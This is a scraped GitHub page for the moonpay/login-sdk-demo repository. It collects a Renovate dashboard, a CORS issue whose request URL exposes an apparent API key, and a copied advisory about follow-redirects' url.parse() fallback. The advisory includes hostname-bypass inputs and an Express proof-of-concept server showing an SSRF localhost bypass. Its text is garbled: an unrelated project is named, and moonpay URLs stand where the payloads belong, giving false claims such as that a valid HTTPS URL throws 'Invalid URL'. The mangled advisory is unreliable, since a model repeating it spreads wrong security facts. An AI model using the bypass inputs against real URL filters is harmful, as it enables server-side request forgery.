moonpay / login-sdk-demo Goto Github PK
View Code? Open in Web Editor NEWLicense: Apache License 2.0
License: Apache License 2.0
This issue lists Renovate updates and detected dependencies. Read the Dependency Dashboard docs to learn more.
This repository currently has no open or pending branches.
.github/workflows/close-stale-prs.yml
.github/workflows/codeql-analysis.yml
package.json
.nvmrc
Title: Problem with CORS policy when accessing the resource https://eth-goerli.g.alchemy.com/v2/W3NxyYz0u5ls5vnFu-nH8Td2lIE5_JCU from the source https://web3.moonpay.com
Description:
When trying to access the resource https://eth-goerli.g.alchemy.com/v2/W3NxyYz0u5ls5vnFu-nH8Td2lIE5_JCU from the source https://web3.moonpay.com, a CORS policy error occurs. The error message indicates that the Access-Control-Allow-Origin header is missing, causing the request to be blocked.
Steps to reproduce:
const sdk = new MoonpayWalletSDK({
loginDomain: "https://buy-sandbox.moonpay.com",
secureWalletDomain: "https://web3.moonpay.com",
apiKey: process.env.NEXT_PUBLIC_MOONPAY_API_KEY,
});
useEffect(() => {
sdk.init().then(() => {
setProvider(sdk.provider!);
});
}, [])
There is an error with this repository's Renovate configuration that needs to be fixed. As a precaution, Renovate will stop PRs until it is resolved.
Error type: Cannot find preset's package (github>moonpay/ghsec//config/shared/renovate/default)
Affected of this project Horizon-Protocol/Horizon-Smart-Contract
are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse()
function. When new URL()
throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
PoC: #29
# Case 1 : Bypassing localhost restriction
let url = 'https://buy-sandbox.moonpay.com/admin';
try{
new URL(url); // ERROR : Invalid URL
}catch{
url.parse(url); // -> https://buy-sandbox.moonpay.com/admin
}
# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
new URL(url); // ERROR : Invalid URL
}catch{
url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}
Below is part of follow-redirects's
.js code.
function urlToOptions(urlObject) {
var options = {
protocol: urlObject.protocol,
hostname: urlObject.hostname.startsWith("[") ?
/* istanbul ignore next */
urlObject.hostname.slice(1, -1) :
urlObject.hostname,
hash: urlObject.hash,
search: urlObject.search,
pathname: urlObject.pathname,
path: urlObject.pathname + urlObject.search,
href: urlObject.href,
};
if (urlObject.port !== "") {
options.port = Number(urlObject.port);
}
return options;
}
It checks URL hostname which is startswith [
character. Which means if the urlObject is http://[localhost]/
, then it converts to http://localhost/
.
The problem comes from below code.
function request(input, options, callback) {
// Parse parameters
if (isString(input)) {
var parsed;
try {
parsed = urlToOptions(new URL(input));
}
catch (err) {
/* istanbul ignore next */
parsed = url.parse(input);
}
/* below code skipped */
urlToOptions()
function is called after new URL().
When new URL('https://buy-sandbox.moonpay.com')
it throws an error which is Invalid URL. Then it goes catch{ }
phrase.
At the catch{ }
phrase, there is vulnerable function which is url.parse()
.
url.parse('https://buy-sandbox.moonpay.com')
sees URL to https://buy-sandbox.moonpay.com
.
// PoC.js
const express = require("express");
const http = require('follow-redirects').http;
const app = express();
const port = 80;
const isLocalhost = function (url) {
try{
u = new URL(url);
if(u.hostname.includes('localhost')
|| u.hostname.includes('127.0.0.1')
){
return true;
}
}catch{}
return false;
}
app.use(express.json())
app.get("/", (req, res) => {
res.send("Hello World");
})
app.post("/request", (req, res) => {
let url = req.body.url;
let options = {
'followRedirects':false
}
if(req.body?.url){
if(isLocalhost(req.body.url)){
res.send('Localhost is restricted.');
return;
};
http.get(url, options, (response) => {
let data = '';
response.on('data', chunk => {
data += chunk.toString();
});
response.on('end', () => {
res.send(data);
})
}).on('error', (e) => {
console.log(e);
res.status(500).send('Server Error');
})
}else{
res.send('URL is required.');
}
})
app.get("/admin", (req, res) => {
if(req.socket.remoteAddress.includes('127.0.0.1')){
res.send('Admin Page');
}else{
res.status(404).send('Not Found');
}
})
app.listen(port, () => {
console.log(`App listening on port ${port}`)
})
CWE-20
CWE-601
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.